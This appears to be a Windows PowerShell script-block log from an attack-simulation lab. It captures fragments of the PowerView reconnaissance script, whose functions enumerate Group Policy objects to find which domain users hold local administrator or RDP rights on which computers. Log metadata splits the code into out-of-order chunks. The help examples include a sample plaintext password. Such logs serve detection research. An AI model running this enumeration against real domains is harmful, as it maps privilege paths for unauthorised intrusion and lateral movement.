if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
$TargetSIDs = @()
if ($PSBoundParameters['Identity']) {
$TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid
$TargetObjectSID = $TargetSIDs
if (-not $TargetSIDs) {
Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'"
}
}
else {
# no filtering/match all
$TargetSIDs = @('*')
}
if ($LocalGroup -match 'S-1-5') {
$TargetLocalSID = $LocalGroup
}
elseif ($LocalGroup -match 'Admin') {
$TargetLocalSID = 'S-1-5-32-544'
}
else {
# RDP
$TargetLocalSID = 'S-1-5-32-555'
}
if ($TargetSIDs[0] -ne '*') {
ForEach ($TargetSid in $TargetSids) {
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'"
$TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
}
}
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID"
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs"
$GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object {
$GPOgroup = $_
# if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID
if ($GPOgroup.GroupSID -match $TargetLocalSID) {
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
$GPOgroup
}
}
}
# if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
$GPOgroup
}
}
} | Sort-Object -Property GPOName -Unique
$GPOgroups | Where-Object {$_} | ForEach-Object {
$GPOname = $_.GPODisplayName
$GPOguid = $_.GPOName
$GPOPath = $_.GPOPath
$GPOType = $_.GPOType
if ($_.GroupMembers) {
$GPOMembers = $_.GroupMembers
}
else {
$GPOMembers = $_.GroupSID
}
$Filters = $_.Filters
if ($TargetSIDs[0] -eq '*') {
# if the * wildcard was used, set the targets to all GPO members so everything it output
$TargetObjectSIDs = $GPOMembers
}
else {
$TargetObjectSIDs = $TargetObjectSID
}
# find any OUs that have this GPO linked through gpLink
Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
if ($Filters) {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname
}
else {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
}
if ($OUComputers) {
if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers
$GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}
# find any sites that have this GPO linked through gpLink
Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
$GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}
}
}
function Get-DomainGPOComputerLocalGroupMapping {
<#
.SYNOPSIS
Takes a computer (or GPO) object and determines what users/groups are in the specified
local group for the machine through GPO correlation.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup
.DESCRIPTION
This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
are in the specified local group for a target machine through GPO correlation.
If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
determine the OU the computer is a part of. Then resolve the computer's site name with
Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
each resulting GPO group, resolve the resulting user/group name to a full AD object and
return the results. This will return the domain objects that are members of the specified
-LocalGroup for the given computer.
Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
localgroup specifications.
.PARAMETER ComputerIdentity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for.
.PARAMETER OUIdentity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.
.PARAMETER LocalGroup
The local group to check access against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
Finds users who have local admin rights over WINDOWS3 through GPO correlation.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
Finds users who have RDP rights over WINDOWS4 through GPO correlation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
.OUTPUTS
PowerView.GGPOComputerLocalGroupMember
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GGPOComputerLocalGroupMember')]
[CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
Param(
[Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
[String]
$ComputerIdentity,
[Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
[Alias('OU')]
[String]
$OUIdentity,
[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($P38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715330Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3555t groups for the GPO with the given name/GUID.
.EXAMPLE
Get-DomainGPOLocalGroup 'Desktops'
Return any GPO-set groups for the GPO with the given display name.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOLocalGroup -Credential $Cred
.LINK
https://morgansimonsenblog.azurewebsites.net/tag/groups/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$ResolveMembersToSIDs,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ConvertArguments = @{}
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainGPO @SearcherArguments | ForEach-Object {
$GPOdisplayName = $_.displayname
$GPOname = $_.name
$GPOPath = $_.gpcfilesyspath
$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
$Inf = Get-GptTmpl @ParseArgs
if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
$Memberships = @{}
# parse the members/memberof fields for each entry
ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
$Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
# extract out ALL members
$MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
if ($PSBoundParameters['ResolveMembersToSIDs']) {
# if the resulting member is username and not a SID, attempt to resolve it
$GroupMembers = @()
ForEach ($Member in $MembershipValue) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
$ConvertToArguments = @{'ObjectName' = $Member}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID @ConvertToArguments
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$MembershipValue = $GroupMembers
}
if (-not $Memberships[$Group]) {
$Memberships[$Group] = @{}
}
if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
$Memberships[$Group].Add($Relation, $MembershipValue)
}
ForEach ($Membership in $Memberships.GetEnumerator()) {
if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
# if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
$GroupSID = $Membership.Key.Trim('*')
if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
$GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
}
else {
$GroupName = $False
}
}
else {
$GroupName = $Membership.Key
if ($GroupName -and ($GroupName.Trim() -ne '')) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
elseif ($GroupName.Trim() -ne '') {
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$GroupSID = ConvertTo-SID @ConvertToArguments
}
else {
$GroupSID = $Null
}
}
}
$GPOGroup = New-Object PSObject
$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
$GPOGroup | Add-Member Noteproperty 'Filters' $Null
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
$GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$GPOGroup
}
}
# now try to the parse group policy preferences file (Groups.xml) if it exists
$ParseArgs = @{
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
}
Get-GroupsXML @ParseArgs | ForEach-Object {
if ($PSBoundParameters['ResolveMembersToSIDs']) {
$GroupMembers = @()
ForEach ($Member in $_.GroupMembers) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
# if the resulting member is username and not a SID, attempt to resolve it
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$_.GroupMembers = $GroupMembers
}
$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$_ | Add-Member Noteproperty 'GPOName' $GPOName
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$_
}
}
}
}
function Get-DomainGPOUserLocalGroupMapping {
<#
.SYNOPSIS
Enumerates the machines where a specific domain user/group is a member of a specific
local group, all through GPO correlation. If no user/group is specified, all
discoverable mappings are returned.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup
.DESCRIPTION
Takes a user/group name and optional domain, and determines the computers in the domain
the user/group has local admin (or RDP) rights to.
It does this by:
1. resolving the user/group to its proper SID
2. enumerating all groups the user/group is a current part of
and extracting all target SIDs to build a target SID list
3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
Get-DomainGPOLocalGroup
4. matching the target SID list to the queried GPO SID list
to enumerate all GPO the user is effectively applied with
5. enumerating all OUs and sites and applicable GPO GUIs are
applied to through gplink enumerating
6. querying for all computers under the given OUs or sites
If no user/group is specified, all user/group -> machine mappings discovered through
GPO relationships are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the user/group to identity GPO local group mappings for.
.PARAMETER LocalGroup
The local group to check access against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping
Find all user/group -> machine relationships where the user/group is a member
of the local administrators group on target machines.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
Find all computers that dfm user has local administrator rights to in
the dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOUserLocalGroupMapping -Credential $Cred
.OUTPUTS
PowerView.GPOLocalGroupMapping
A custom PSObject containing any target identity information and what local
group memberships they're a part of through GPO correlation.
.LINK
http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOUserLocalGroupMapping')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,
[String]
[V38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715329Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3455
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
else { $Results = $GPOSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $GPO.distinguishedname
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
}
}
else {
$GPO = Convert-LDAPProperty -Properties $_.Properties
}
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$GPO
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
}
}
$GPOSearcher.dispose()
}
}
}
}
function Get-DomainGPOLocalGroup {
<#
.SYNOPSIS
Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
or Group Policy preferences. Also return their user membership mappings, if they exist.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
.DESCRIPTION
First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
group membership is set through Group Policy Preferences groups.xml files. For any
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
section data is processed if present. Any found Groups.xml files are parsed with
Get-GroupsXML and those memberships are returned as well.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
